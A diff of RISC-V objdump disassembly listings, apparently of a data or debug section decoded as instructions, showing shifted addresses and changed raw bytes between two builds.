+    211e:	3e05                	jal	1c4e <__stack_size+0x144e>
+    2120:	47dd                	li	a5,23
+    2122:	0000                	unimp
+    2124:	3f05                	jal	2054 <__stack_size+0x1854>
+    2126:	4d06                	lw	s10,64(sp)
+    2128:	0000                	unimp
+    212a:	0400                	addi	s0,sp,512
+    212c:	0000                	unimp
+    212e:	0905                	addi	s2,s2,1
+    2130:	7d52                	flw	fs10,52(sp)
+    2132:	0000                	unimp
+    2134:	1005                	c.nop	-31
+    2136:	93b2                	add	t2,t2,a2
+    2138:	0000                	unimp
+    213a:	8a05                	andi	a2,a2,1
+    213c:	fe01                	bnez	a2,2054 <__stack_size+0x1854>
+    213e:	004c                	addi	a1,sp,4
     2140:	0000                	unimp
-    2142:	1005                	c.nop	-31
-    2144:	00000407          	0x407
-    2148:	8a05                	andi	a2,a2,1
-    214a:	bf01                	j	205a <__stack_size+0x185a>
-    214c:	0000004b          	fnmsub.s	ft0,ft0,ft0,ft0,rne
-    2150:	0004                	0x4
-    2152:	0500                	addi	s0,sp,640
-    2154:	9c3c                	0x9c3c
-    2156:	007a                	c.slli	zero,0x1e
-    2158:	0600                	addi	s0,sp,768
-    215a:	0083f23f 1f400500 	0x1f4005000083f23f
-    2162:	0022                	c.slli	zero,0x8
-    2164:	0600                	addi	s0,sp,768
-    2166:	4248                	lw	a0,4(a2)
-    2168:	0081                	addi	ra,ra,0
-    216a:	0500                	addi	s0,sp,640
-    216c:	3a49                	jal	1afe <__stack_size+0x12fe>
-    216e:	0096                	slli	ra,ra,0x5
-    2170:	0600                	addi	s0,sp,768
-    2172:	2d4a                	fld	fs10,144(sp)
-    2174:	05000063          	beq	zero,a6,21b4 <__stack_size+0x19b4>
-    2178:	0008734b          	fnmsub.s	ft6,fa6,ft0,ft0
-    217c:	0600                	addi	s0,sp,768
-    217e:	e44e                	fsw	fs3,8(sp)
-    2180:	0500003b          	0x500003b
-    2184:	ca52                	sw	s4,20(sp)
-    2186:	0005                	c.nop	1
-    2188:	0600                	addi	s0,sp,768
-    218a:	00814357          	0x814357
-    218e:	0500                	addi	s0,sp,640
-    2190:	00529b5b          	0x529b5b
-    2194:	0600                	addi	s0,sp,768
-    2196:	2e5d                	jal	254c <__stack_size+0x1d4c>
-    2198:	05000063          	beq	zero,a6,21d8 <__stack_size+0x19d8>
-    219c:	db5e                	sw	s7,180(sp)
-    219e:	0600003b          	0x600003b
-    21a2:	0014e267          	0x14e267
-    21a6:	0500                	addi	s0,sp,640
-    21a8:	f068                	fsw	fa0,100(s0)
-    21aa:	0028                	addi	a0,sp,8
-    21ac:	0600                	addi	s0,sp,768
-    21ae:	6c69                	lui	s8,0x1a
-    21b0:	0096                	slli	ra,ra,0x5
-    21b2:	0500                	addi	s0,sp,640
-    21b4:	296a                	fld	fs2,152(sp)
-    21b6:	0002                	c.slli64	zero
-    21b8:	0600                	addi	s0,sp,768
-    21ba:	6b6d                	lui	s6,0x1b
-    21bc:	0096                	slli	ra,ra,0x5
-    21be:	0500                	addi	s0,sp,640
-    21c0:	4071                	c.li	zero,28
-    21c2:	009d                	addi	ra,ra,7
-    21c4:	0600                	addi	s0,sp,768
-    21c6:	0975                	addi	s2,s2,29
-    21c8:	0050                	addi	a2,sp,4
-    21ca:	0500                	addi	s0,sp,640
-    21cc:	6a76                	flw	fs4,92(sp)
-    21ce:	000a                	c.slli	zero,0x2
-    21d0:	0600                	addi	s0,sp,768
-    21d2:	008dc477          	0x8dc477
-    21d6:	0500                	addi	s0,sp,640
-    21d8:	6478                	flw	fa4,76(s0)
-    21da:	003c                	addi	a5,sp,8
-    21dc:	0600                	addi	s0,sp,768
-    21de:	008dc37b          	0x8dc37b
-    21e2:	0500                	addi	s0,sp,640
-    21e4:	ad7c                	fsd	fa5,216(a0)
-    21e6:	0008                	0x8
+    2142:	0004                	0x4
+    2144:	0500                	addi	s0,sp,640
+    2146:	153c                	addi	a5,sp,680
+    2148:	0600007b          	0x600007b
+    214c:	0084783f 9e400500 	0x9e4005000084783f
+    2154:	0022                	c.slli	zero,0x8
+    2156:	0600                	addi	s0,sp,768
+    2158:	c548                	sw	a0,12(a0)
+    215a:	0081                	addi	ra,ra,0
+    215c:	0500                	addi	s0,sp,640
+    215e:	e949                	bnez	a0,21f0 <__stack_size+0x19f0>
+    2160:	0096                	slli	ra,ra,0x5
+    2162:	0600                	addi	s0,sp,768
+    2164:	ee4a                	fsw	fs2,28(sp)
+    2166:	05000063          	beq	zero,a6,21a6 <__stack_size+0x19a6>
+    216a:	0008294b          	fnmsub.s	fs2,fa6,ft0,ft0,rdn
+    216e:	0600                	addi	s0,sp,768
+    2170:	f14e                	fsw	fs3,160(sp)
+    2172:	003c                	addi	a5,sp,8
+    2174:	0500                	addi	s0,sp,640
+    2176:	4052                	0x4052
+    2178:	0005                	c.nop	1
+    217a:	0600                	addi	s0,sp,768
+    217c:	0081c657          	0x81c657
+    2180:	0500                	addi	s0,sp,640
+    2182:	0053bd5b          	0x53bd5b
+    2186:	0600                	addi	s0,sp,768
+    2188:	ef5d                	bnez	a4,2246 <__stack_size+0x1a46>
+    218a:	05000063          	beq	zero,a6,21ca <__stack_size+0x19ca>
+    218e:	e85e                	fsw	fs7,16(sp)
+    2190:	003c                	addi	a5,sp,8
+    2192:	0600                	addi	s0,sp,768
+    2194:	00144967          	0x144967
+    2198:	0500                	addi	s0,sp,640
+    219a:	b468                	fsd	fa0,232(s0)
+    219c:	0029                	c.nop	10
+    219e:	0600                	addi	s0,sp,768
+    21a0:	1b69                	addi	s6,s6,-6
+    21a2:	05000097          	auipc	ra,0x5000
+    21a6:	f46a                	fsw	fs10,40(sp)
+    21a8:	0001                	nop
+    21aa:	0600                	addi	s0,sp,768
+    21ac:	1a6d                	addi	s4,s4,-5
+    21ae:	05000097          	auipc	ra,0x5000
+    21b2:	ab71                	j	274e <__stack_size+0x1f4e>
+    21b4:	009d                	addi	ra,ra,7
+    21b6:	0600                	addi	s0,sp,768
+    21b8:	3175                	jal	1e64 <__stack_size+0x1664>
+    21ba:	0051                	c.nop	20
+    21bc:	0500                	addi	s0,sp,640
+    21be:	0076                	c.slli	zero,0x1d
+    21c0:	000a                	c.slli	zero,0x2
+    21c2:	0600                	addi	s0,sp,768
+    21c4:	008e7e77          	0x8e7e77
+    21c8:	0500                	addi	s0,sp,640
+    21ca:	8678                	0x8678
+    21cc:	003d                	c.nop	15
+    21ce:	0600                	addi	s0,sp,768
+    21d0:	008e7d7b          	0x8e7d7b
+    21d4:	0500                	addi	s0,sp,640
+    21d6:	627c                	flw	fa5,68(a2)
+    21d8:	0008                	0x8
+    21da:	0600                	addi	s0,sp,768
+    21dc:	0180                	addi	s0,sp,192
+    21de:	4c8e                	lw	s9,192(sp)
+    21e0:	0000                	unimp
+    21e2:	8105                	srli	a0,a0,0x1
+    21e4:	9a01                	andi	a2,a2,-32
+    21e6:	0048                	addi	a0,sp,4
     21e8:	0600                	addi	s0,sp,768
-    21ea:	0180                	addi	s0,sp,192
-    21ec:	00004b47          	fmsub.s	fs6,ft0,ft0,ft0,rmm
-    21f0:	8105                	srli	a0,a0,0x1
-    21f2:	8501                	c.srai64	a0
-    21f4:	06000047          	fmsub.q	ft0,ft0,ft0,ft0,rne
-    21f8:	0182                	c.slli64	gp
-    21fa:	1e95                	addi	t4,t4,-27
+    21ea:	0182                	c.slli64	gp
+    21ec:	00001ecb          	fnmsub.s	ft9,ft0,ft0,ft0,rtz
+    21f0:	8305                	srli	a4,a4,0x1
+    21f2:	2e01                	jal	2502 <__stack_size+0x1d02>
+    21f4:	0050                	addi	a2,sp,4
+    21f6:	0600                	addi	s0,sp,768
+    21f8:	0186                	slli	gp,gp,0x1
+    21fa:	3bf5                	jal	1ff6 <__stack_size+0x17f6>
     21fc:	0000                	unimp
-    21fe:	8305                	srli	a4,a4,0x1
-    2200:	3101                	jal	1e00 <__stack_size+0x1600>
-    2202:	0600004f          	fnmadd.q	ft0,ft0,ft0,ft0,rne
-    2206:	0186                	slli	gp,gp,0x1
-    2208:	3adf 0000 8705      	0x870500003adf
-    220e:	0001                	nop
-    2210:	0035                	c.nop	13
+    21fe:	8705                	srai	a4,a4,0x1
+    2200:	dc01                	beqz	s0,2118 <__stack_size+0x1918>
+    2202:	0035                	c.nop	13
+    2204:	0600                	addi	s0,sp,768
+    2206:	4c8d018b          	0x4c8d018b
+    220a:	0000                	unimp
+    220c:	8c05                	sub	s0,s0,s1
+    220e:	7501                	lui	a0,0xfffe0
+    2210:	0016                	c.slli	zero,0x5
     2212:	0600                	addi	s0,sp,768
-    2214:	4b46018b          	0x4b46018b
+    2214:	018d                	addi	gp,gp,3
+    2216:	1eca                	slli	t4,t4,0x32
     2218:	0000                	unimp
-    221a:	8c05                	sub	s0,s0,s1
-    221c:	2601                	jal	251c <__stack_size+0x1d1c>
-    221e:	06000017          	auipc	zero,0x6000
-    2222:	018d                	addi	gp,gp,3
-    2224:	1e94                	addi	a3,sp,880
+    221a:	8e05                	sub	a2,a2,s1
+    221c:	cc01                	beqz	s0,2234 <__stack_size+0x1a34>
+    221e:	0094                	addi	a3,sp,64
+    2220:	0600                	addi	s0,sp,768
+    2222:	0191                	addi	gp,gp,4
+    2224:	1ec9                	addi	t4,t4,-14
     2226:	0000                	unimp
-    2228:	8e05                	sub	a2,a2,s1
-    222a:	1d01                	addi	s10,s10,-32
-    222c:	0094                	addi	a3,sp,64
-    222e:	0600                	addi	s0,sp,768
-    2230:	0191                	addi	gp,gp,4
-    2232:	00001e93          	slli	t4,zero,0x0
-    2236:	9205                	srli	a2,a2,0x21
-    2238:	5201                	li	tp,-32
-    223a:	06000087          	0x6000087
-    223e:	14c00197          	auipc	gp,0x14c00
+    2228:	9205                	srli	a2,a2,0x21
+    222a:	f501                	bnez	a0,2132 <__stack_size+0x1932>
+    222c:	06000087          	0x6000087
+    2230:	14270197          	auipc	gp,0x14270
+    2234:	0000                	unimp
+    2236:	9805                	andi	s0,s0,-31
+    2238:	9701                	srai	a4,a4,0x20
+    223a:	0034                	addi	a3,sp,8
+    223c:	0600                	addi	s0,sp,768
+    223e:	0199                	addi	gp,gp,6
+    2240:	06a5                	addi	a3,a3,9
     2242:	0000                	unimp
-    2244:	9805                	andi	s0,s0,-31
-    2246:	b701                	j	2146 <__stack_size+0x1946>
-    2248:	06000033          	0x6000033
-    224c:	0199                	addi	gp,gp,6
-    224e:	0000070f          	0x70f
-    2252:	9a05                	andi	a2,a2,-31
-    2254:	7501                	lui	a0,0xfffe0
-    2256:	0019                	c.nop	6
-    2258:	0600                	addi	s0,sp,768
-    225a:	019d                	addi	gp,gp,7
-    225c:	070e                	slli	a4,a4,0x3
-    225e:	0000                	unimp
-    2260:	9e05                	0x9e05
-    2262:	c201                	beqz	a2,2262 <__stack_size+0x1a62>
-    2264:	0069                	c.nop	26
-    2266:	0000                	unimp
-    2268:	0004                	0x4
-    226a:	0500                	addi	s0,sp,640
-    226c:	3204                	fld	fs1,32(a2)
-    226e:	002e                	c.slli	zero,0xb
-    2270:	0500                	addi	s0,sp,640
-    2272:	00084a07          	flq	fs4,0(a6)
-    2276:	0500                	addi	s0,sp,640
-    2278:	7d08                	flw	fa0,56(a0)
-    227a:	0500002b          	0x500002b
-    227e:	420d                	li	tp,3
-    2280:	0001                	nop
-    2282:	0500                	addi	s0,sp,640
-    2284:	0099200f          	0x99200f
-    2288:	0500                	addi	s0,sp,640
-    228a:	bb10                	fsd	fa2,48(a4)
-    228c:	0012                	c.slli	zero,0x4
-    228e:	0500                	addi	s0,sp,640
-    2290:	4311                	li	t1,4
-    2292:	005c                	addi	a5,sp,4
-    2294:	0500                	addi	s0,sp,640
-    2296:	4216                	lw	tp,68(sp)
-    2298:	005a                	c.slli	zero,0x16
-    229a:	0500                	addi	s0,sp,640
-    229c:	ef18                	fsw	fa4,24(a4)
-    229e:	0085                	addi	ra,ra,1
-    22a0:	0500                	addi	s0,sp,640
-    22a2:	7519                	lui	a0,0xfffe6
-    22a4:	0006                	c.slli	zero,0x1
-    22a6:	0500                	addi	s0,sp,640
-    22a8:	2a1a                	fld	fs4,384(sp)
-    22aa:	007f                	0x7f
-    22ac:	0500                	addi	s0,sp,640
-    22ae:	0076c21b          	0x76c21b
-    22b2:	0500                	addi	s0,sp,640
-    22b4:	4e1c                	lw	a5,24(a2)
-    22b6:	0019                	c.nop	6
-    22b8:	0500                	addi	s0,sp,640
-    22ba:	d61d                	beqz	a2,21e8 <__stack_size+0x19e8>
-    22bc:	0011                	c.nop	4
-    22be:	0500                	addi	s0,sp,640
-    22c0:	6a1f 002c 0500      	0x500002c6a1f
-    22c6:	7520                	flw	fs0,104(a0)
-    22c8:	0051                	c.nop	20
-    22ca:	0500                	addi	s0,sp,640
-    22cc:	1f25                	addi	t5,t5,-23
-    22ce:	05000087          	0x5000087
-    22d2:	0063d427          	0x63d427
-    22d6:	0500                	addi	s0,sp,640
-    22d8:	5628                	lw	a0,104(a2)
-    22da:	0006                	c.slli	zero,0x1
-    22dc:	0500                	addi	s0,sp,640
-    22de:	3429                	jal	1ce8 <__stack_size+0x14e8>
-    22e0:	0020                	addi	s0,sp,8
-    22e2:	0500                	addi	s0,sp,640
-    22e4:	fe2a                	fsw	fa0,60(sp)
-    22e6:	0032                	c.slli	zero,0xc
-    22e8:	0500                	addi	s0,sp,640
-    22ea:	006bd52b          	0x6bd52b
-    22ee:	0500                	addi	s0,sp,640
-    22f0:	662c                	flw	fa1,72(a2)
-    22f2:	002a                	c.slli	zero,0xa
-    22f4:	0500                	addi	s0,sp,640
-    22f6:	f12d                	bnez	a0,2258 <__stack_size+0x1a58>
-    22f8:	05000007          	0x5000007
-    22fc:	2a32                	fld	fs4,264(sp)
-    22fe:	006c                	addi	a1,sp,12
-    2300:	0500                	addi	s0,sp,640
-    2302:	fc34                	fsw	fa3,120(s0)
-    2304:	0500009b          	0x500009b
-    2308:	8d35                	xor	a0,a0,a3
-    230a:	0044                	addi	s1,sp,4
-    230c:	0500                	addi	s0,sp,640
-    230e:	8f36                	mv	t5,a3
-    2310:	009f 0500 e137      	0xe1370500009f
-    2316:	0038                	addi	a4,sp,8
-    2318:	0500                	addi	s0,sp,640
-    231a:	e638                	fsw	fa4,72(a2)
-    231c:	0079                	c.nop	30
-    231e:	0500                	addi	s0,sp,640
-    2320:	cd39                	beqz	a0,237e <__stack_size+0x1b7e>
-    2322:	05000077          	0x5000077
-    2326:	e53a                	fsw	fa4,136(sp)
-    2328:	0075                	c.nop	29
-    232a:	0500                	addi	s0,sp,640
-    232c:	073c                	addi	a5,sp,904
-    232e:	0010                	0x10
-    2330:	0500                	addi	s0,sp,640
-    2332:	b23d                	j	1c60 <__stack_size+0x1460>
-    2334:	000d                	c.nop	3
-    2336:	0500                	addi	s0,sp,640
-    2338:	c73e                	sw	a5,140(sp)
-    233a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    233e:	0075c93f 45400500 	0x454005000075c93f
-    2346:	0020                	addi	s0,sp,8
-    2348:	0500                	addi	s0,sp,640
-    234a:	2e41                	jal	26da <__stack_size+0x1eda>
-    234c:	0070                	addi	a2,sp,12
-    234e:	0500                	addi	s0,sp,640
-    2350:	7f42                	flw	ft10,48(sp)
-    2352:	0041                	c.nop	16
-    2354:	0500                	addi	s0,sp,640
-    2356:	009f7143          	fmadd.s	ft2,ft10,fs1,ft0
-    235a:	0500                	addi	s0,sp,640
-    235c:	7c44                	flw	fs1,60(s0)
-    235e:	0032                	c.slli	zero,0xc
-    2360:	0500                	addi	s0,sp,640
-    2362:	0f45                	addi	t5,t5,17
-    2364:	002a                	c.slli	zero,0xa
-    2366:	0500                	addi	s0,sp,640
-    2368:	4046                	0x4046
-    236a:	0500003b          	0x500003b
-    236e:	00372947          	fmsub.s	fs2,fa4,ft3,ft0,rdn
-    2372:	0500                	addi	s0,sp,640
-    2374:	7e48                	flw	fa0,60(a2)
-    2376:	002a                	c.slli	zero,0xa
-    2378:	0500                	addi	s0,sp,640
-    237a:	8349                	srli	a4,a4,0x12
-    237c:	0000                	unimp
-    237e:	0500                	addi	s0,sp,640
-    2380:	c84a                	sw	s2,16(sp)
-    2382:	0025                	c.nop	9
-    2384:	0500                	addi	s0,sp,640
-    2386:	0059ca4b          	fnmsub.s	fs4,fs3,ft5,ft0,rmm
-    238a:	0500                	addi	s0,sp,640
-    238c:	a04c                	fsd	fa1,128(s0)
-    238e:	0092                	slli	ra,ra,0x4
-    2390:	0500                	addi	s0,sp,640
-    2392:	4a4d                	li	s4,19
-    2394:	002d                	c.nop	11
-    2396:	0500                	addi	s0,sp,640
-    2398:	f252                	fsw	fs4,36(sp)
-    239a:	007f                	0x7f
-    239c:	0500                	addi	s0,sp,640
-    239e:	9c54                	0x9c54
-    23a0:	0044                	addi	s1,sp,4
-    23a2:	0500                	addi	s0,sp,640
-    23a4:	3d55                	jal	2258 <__stack_size+0x1a58>
-    23a6:	0082                	c.slli64	ra
-    23a8:	0500                	addi	s0,sp,640
-    23aa:	1e56                	slli	t3,t3,0x35
-    23ac:	007e                	c.slli	zero,0x1f
-    23ae:	0500                	addi	s0,sp,640
-    23b0:	0023a357          	0x23a357
-    23b4:	0500                	addi	s0,sp,640
-    23b6:	5658                	lw	a4,44(a2)
-    23b8:	005c                	addi	a5,sp,4
-    23ba:	0500                	addi	s0,sp,640
-    23bc:	ff59                	bnez	a4,235a <__stack_size+0x1b5a>
-    23be:	05000007          	0x5000007
-    23c2:	015a                	slli	sp,sp,0x16
-    23c4:	00a1                	addi	ra,ra,8
-    23c6:	0500                	addi	s0,sp,640
-    23c8:	005d9c5b          	0x5d9c5b
-    23cc:	0500                	addi	s0,sp,640
-    23ce:	b55c                	fsd	fa5,168(a0)
-    23d0:	003a                	c.slli	zero,0xe
-    23d2:	0500                	addi	s0,sp,640
-    23d4:	de5d                	beqz	a2,2392 <__stack_size+0x1b92>
-    23d6:	004a                	c.slli	zero,0x12
-    23d8:	0500                	addi	s0,sp,640
-    23da:	1a5e                	slli	s4,s4,0x37
-    23dc:	0025                	c.nop	9
-    23de:	0500                	addi	s0,sp,640
-    23e0:	b15f 0002 0500      	0x5000002b15f
-    23e6:	c260                	sw	s0,68(a2)
-    23e8:	002c                	addi	a1,sp,8
-    23ea:	0500                	addi	s0,sp,640
-    23ec:	1961                	addi	s2,s2,-8
-    23ee:	004a                	c.slli	zero,0x12
-    23f0:	0500                	addi	s0,sp,640
-    23f2:	e362                	fsw	fs8,132(sp)
-    23f4:	001a                	c.slli	zero,0x6
-    23f6:	0500                	addi	s0,sp,640
-    23f8:	003e2563          	0x3e2563
-    23fc:	0500                	addi	s0,sp,640
-    23fe:	6664                	flw	fs1,76(a2)
-    2400:	005f 0500 1169      	0x11690500005f
-    2406:	003c                	addi	a5,sp,8
-    2408:	0500                	addi	s0,sp,640
-    240a:	cc6a                	sw	s10,24(sp)
-    240c:	0004                	0x4
-    240e:	0500                	addi	s0,sp,640
-    2410:	0050f66b          	0x50f66b
-    2414:	0500                	addi	s0,sp,640
-    2416:	0f6d                	addi	t5,t5,27
-    2418:	0030                	addi	a2,sp,8
-    241a:	0500                	addi	s0,sp,640
-    241c:	9a6e                	add	s4,s4,s11
-    241e:	05000033          	0x5000033
-    2422:	0037706f          	j	79c24 <__stack_size+0x79424>
-    2426:	0500                	addi	s0,sp,640
-    2428:	9774                	0x9774
-    242a:	0084                	addi	s1,sp,64
-    242c:	0500                	addi	s0,sp,640
-    242e:	ca75                	beqz	a2,2522 <__stack_size+0x1d22>
-    2430:	05000063          	beq	zero,a6,2470 <__stack_size+0x1c70>
-    2434:	6876                	flw	fa6,92(sp)
-    2436:	0008                	0x8
-    2438:	0500                	addi	s0,sp,640
-    243a:	0029587b          	0x29587b
-    243e:	0500                	addi	s0,sp,640
-    2440:	0180                	addi	s0,sp,192
-    2442:	33dc                	fld	fa5,160(a5)
+    2244:	9a05                	andi	a2,a2,-31
+    2246:	c401                	beqz	s0,224e <__stack_size+0x1a4e>
+    2248:	0018                	0x18
+    224a:	0600                	addi	s0,sp,768
+    224c:	019d                	addi	gp,gp,7
+    224e:	06a4                	addi	s1,sp,840
+    2250:	0000                	unimp
+    2252:	9e05                	0x9e05
+    2254:	5f01                	li	t5,-32
+    2256:	006a                	c.slli	zero,0x1a
+    2258:	0000                	unimp
+    225a:	0004                	0x4
+    225c:	0500                	addi	s0,sp,640
+    225e:	2604                	fld	fs1,8(a2)
+    2260:	0500002f          	0x500002f
+    2264:	00080007          	0x80007
+    2268:	0500                	addi	s0,sp,640
+    226a:	4808                	lw	a0,16(s0)
+    226c:	002c                	addi	a1,sp,8
+    226e:	0500                	addi	s0,sp,640
+    2270:	170d                	addi	a4,a4,-29
+    2272:	0001                	nop
+    2274:	0500                	addi	s0,sp,640
+    2276:	0099c30f          	0x99c30f
+    227a:	0500                	addi	s0,sp,640
+    227c:	2d10                	fld	fa2,24(a0)
+    227e:	0012                	c.slli	zero,0x4
+    2280:	0500                	addi	s0,sp,640
+    2282:	4d11                	li	s10,4
+    2284:	005d                	c.nop	23
+    2286:	0500                	addi	s0,sp,640
+    2288:	5e16                	lw	t3,100(sp)
+    228a:	0500005b          	0x500005b
+    228e:	6b18                	flw	fa4,16(a4)
+    2290:	0086                	slli	ra,ra,0x1
+    2292:	0500                	addi	s0,sp,640
+    2294:	eb19                	bnez	a4,22aa <__stack_size+0x1aaa>
+    2296:	0005                	c.nop	1
+    2298:	0500                	addi	s0,sp,640
+    229a:	ad1a                	fsd	ft6,152(sp)
+    229c:	007f                	0x7f
+    229e:	0500                	addi	s0,sp,640
+    22a0:	00776f1b          	0x776f1b
+    22a4:	0500                	addi	s0,sp,640
+    22a6:	9d1c                	0x9d1c
+    22a8:	0018                	0x18
+    22aa:	0500                	addi	s0,sp,640
+    22ac:	6a1d                	lui	s4,0x7
+    22ae:	0011                	c.nop	4
+    22b0:	0500                	addi	s0,sp,640
+    22b2:	551f 002d 0500      	0x500002d551f
+    22b8:	b720                	fsd	fs0,104(a4)
+    22ba:	0052                	c.slli	zero,0x14
+    22bc:	0500                	addi	s0,sp,640
+    22be:	c225                	beqz	a2,231e <__stack_size+0x1b1e>
+    22c0:	05000087          	0x5000087
+    22c4:	00649527          	0x649527
+    22c8:	0500                	addi	s0,sp,640
+    22ca:	cc28                	sw	a0,88(s0)
+    22cc:	0005                	c.nop	1
+    22ce:	0500                	addi	s0,sp,640
+    22d0:	7529                	lui	a0,0xfffea
+    22d2:	0020                	addi	s0,sp,8
+    22d4:	0500                	addi	s0,sp,640
+    22d6:	322a                	fld	ft4,168(sp)
+    22d8:	0034                	addi	a3,sp,8
+    22da:	0500                	addi	s0,sp,640
+    22dc:	006c732b          	0x6c732b
+    22e0:	0500                	addi	s0,sp,640
+    22e2:	312c                	fld	fa1,96(a0)
+    22e4:	0500002b          	0x500002b
+    22e8:	a72d                	j	2a12 <__stack_size+0x2212>
+    22ea:	05000007          	0x5000007
+    22ee:	c832                	sw	a2,16(sp)
+    22f0:	006c                	addi	a1,sp,12
+    22f2:	0500                	addi	s0,sp,640
+    22f4:	7934                	flw	fa3,112(a0)
+    22f6:	009c                	addi	a5,sp,64
+    22f8:	0500                	addi	s0,sp,640
+    22fa:	9535                	srai	a0,a0,0x2d
+    22fc:	0045                	c.nop	17
+    22fe:	0500                	addi	s0,sp,640
+    2300:	c736                	sw	a3,140(sp)
+    2302:	009f 0500 d437      	0xd4370500009f
+    2308:	0039                	c.nop	14
+    230a:	0500                	addi	s0,sp,640
+    230c:	5f38                	lw	a4,120(a4)
+    230e:	007a                	c.slli	zero,0x1e
+    2310:	0500                	addi	s0,sp,640
+    2312:	6a39                	lui	s4,0xe
+    2314:	0078                	addi	a4,sp,12
+    2316:	0500                	addi	s0,sp,640
+    2318:	723a                	flw	ft4,172(sp)
+    231a:	0076                	c.slli	zero,0x1d
+    231c:	0500                	addi	s0,sp,640
+    231e:	bc3c                	fsd	fa5,120(s0)
+    2320:	0500000f          	fence	ow,unknown
+    2324:	4b3d                	li	s6,15
+    2326:	000d                	c.nop	3
+    2328:	0500                	addi	s0,sp,640
+    232a:	4d3e                	lw	s10,204(sp)
+    232c:	0084                	addi	s1,sp,64
+    232e:	0500                	addi	s0,sp,640
+    2330:	0076563f a0400500 	0xa04005000076563f
+    2338:	0020                	addi	s0,sp,8
+    233a:	0500                	addi	s0,sp,640
+    233c:	af41                	j	2acc <__stack_size+0x22cc>
+    233e:	0070                	addi	a2,sp,12
+    2340:	0500                	addi	s0,sp,640
+    2342:	7e42                	flw	ft8,48(sp)
+    2344:	0042                	c.slli	zero,0x10
+    2346:	0500                	addi	s0,sp,640
+    2348:	009fa943          	fmadd.s	fs2,ft11,fs1,ft0,rdn
+    234c:	0500                	addi	s0,sp,640
+    234e:	7f44                	flw	fs1,60(a4)
+    2350:	05000033          	0x5000033
+    2354:	da45                	beqz	a2,2304 <__stack_size+0x1b04>
+    2356:	002a                	c.slli	zero,0xa
+    2358:	0500                	addi	s0,sp,640
+    235a:	4d46                	lw	s10,80(sp)
+    235c:	003c                	addi	a5,sp,8
+    235e:	0500                	addi	s0,sp,640
+    2360:	0037f747          	fmsub.s	fa4,fa5,ft3,ft0
+    2364:	0500                	addi	s0,sp,640
+    2366:	4948                	lw	a0,20(a0)
+    2368:	0500002b          	0x500002b
+    236c:	8349                	srli	a4,a4,0x12
+    236e:	0000                	unimp
+    2370:	0500                	addi	s0,sp,640
+    2372:	814a                	mv	sp,s2
+    2374:	0026                	c.slli	zero,0x9
+    2376:	0500                	addi	s0,sp,640
+    2378:	005ae64b          	fnmsub.s	fa2,fs5,ft5,ft0,unknown
+    237c:	0500                	addi	s0,sp,640
+    237e:	3c4c                	fld	fa1,184(s0)
+    2380:	05000093          	li	ra,80
+    2384:	5f4d                	li	t5,-13
+    2386:	002e                	c.slli	zero,0xb
+    2388:	0500                	addi	s0,sp,640
+    238a:	7552                	flw	fa0,52(sp)
+    238c:	0080                	addi	s0,sp,64
+    238e:	0500                	addi	s0,sp,640
+    2390:	a454                	fsd	fa3,136(s0)
+    2392:	0045                	c.nop	17
+    2394:	0500                	addi	s0,sp,640
+    2396:	c055                	beqz	s0,243a <__stack_size+0x1c3a>
+    2398:	0082                	c.slli64	ra
+    239a:	0500                	addi	s0,sp,640
+    239c:	a156                	fsd	fs5,128(sp)
+    239e:	007e                	c.slli	zero,0x1f
+    23a0:	0500                	addi	s0,sp,640
+    23a2:	00244f57          	0x244f57
+    23a6:	0500                	addi	s0,sp,640
+    23a8:	6058                	flw	fa4,4(s0)
+    23aa:	005d                	c.nop	23
+    23ac:	0500                	addi	s0,sp,640
+    23ae:	b559                	j	2234 <__stack_size+0x1a34>
+    23b0:	05000007          	0x5000007
+    23b4:	1a5a                	slli	s4,s4,0x36
+    23b6:	00a1                	addi	ra,ra,8
+    23b8:	0500                	addi	s0,sp,640
+    23ba:	005e9c5b          	0x5e9c5b
+    23be:	0500                	addi	s0,sp,640
+    23c0:	cb5c                	sw	a5,20(a4)
+    23c2:	0500003b          	0x500003b
+    23c6:	255d                	jal	2a6c <__stack_size+0x226c>
+    23c8:	004c                	addi	a1,sp,4
+    23ca:	0500                	addi	s0,sp,640
+    23cc:	d35e                	sw	s7,164(sp)
+    23ce:	0025                	c.nop	9
+    23d0:	0500                	addi	s0,sp,640
+    23d2:	7c5f 0002 0500      	0x50000027c5f
+    23d8:	2260                	fld	fs0,192(a2)
+    23da:	0065                	c.nop	25
+    23dc:	0500                	addi	s0,sp,640
+    23de:	5261                	li	tp,-8
+    23e0:	0500004b          	0x500004b
+    23e4:	1962                	slli	s2,s2,0x38
+    23e6:	001a                	c.slli	zero,0x6
+    23e8:	0500                	addi	s0,sp,640
+    23ea:	003f3063          	0x3f3063
+    23ee:	0500                	addi	s0,sp,640
+    23f0:	7264                	flw	fs1,100(a2)
+    23f2:	0060                	addi	s0,sp,12
+    23f4:	0500                	addi	s0,sp,640
+    23f6:	1e69                	addi	t3,t3,-6
+    23f8:	003d                	c.nop	15
+    23fa:	0500                	addi	s0,sp,640
+    23fc:	4c6a                	lw	s8,152(sp)
+    23fe:	0004                	0x4
+    2400:	0500                	addi	s0,sp,640
+    2402:	00521e6b          	0x521e6b
+    2406:	0500                	addi	s0,sp,640
+    2408:	036d                	addi	t1,t1,27
+    240a:	0031                	c.nop	12
+    240c:	0500                	addi	s0,sp,640
+    240e:	7a6e                	flw	fs4,248(sp)
+    2410:	0034                	addi	a3,sp,8
+    2412:	0500                	addi	s0,sp,640
+    2414:	00383e6f          	jal	t3,85c16 <__stack_size+0x85416>
+    2418:	0500                	addi	s0,sp,640
+    241a:	1374                	addi	a3,sp,428
+    241c:	0085                	addi	ra,ra,1
+    241e:	0500                	addi	s0,sp,640
+    2420:	8b75                	andi	a4,a4,29
+    2422:	0064                	addi	s1,sp,12
+    2424:	0500                	addi	s0,sp,640
+    2426:	1e76                	slli	t3,t3,0x3d
+    2428:	0008                	0x8
+    242a:	0500                	addi	s0,sp,640
+    242c:	002a1c7b          	0x2a1c7b
+    2430:	0500                	addi	s0,sp,640
+    2432:	0180                	addi	s0,sp,192
+    2434:	34bc                	fld	fa5,104(s1)
+    2436:	0000                	unimp
+    2438:	8205                	srli	a2,a2,0x1
+    243a:	6201                	0x6201
+    243c:	0500000b          	0x500000b
+    2440:	778a0183          	lb	gp,1912(s4) # e778 <__stack_size+0xdf78>
     2444:	0000                	unimp
-    2446:	8205                	srli	a2,a2,0x1
-    2448:	da01                	beqz	a2,2358 <__stack_size+0x1b58>
-    244a:	0500000b          	0x500000b
-    244e:	29e40183          	lb	gp,670(s0) # 1b08ba <__stack_size+0x1b00ba>
-    2452:	0000                	unimp
-    2454:	8405                	srai	s0,s0,0x1
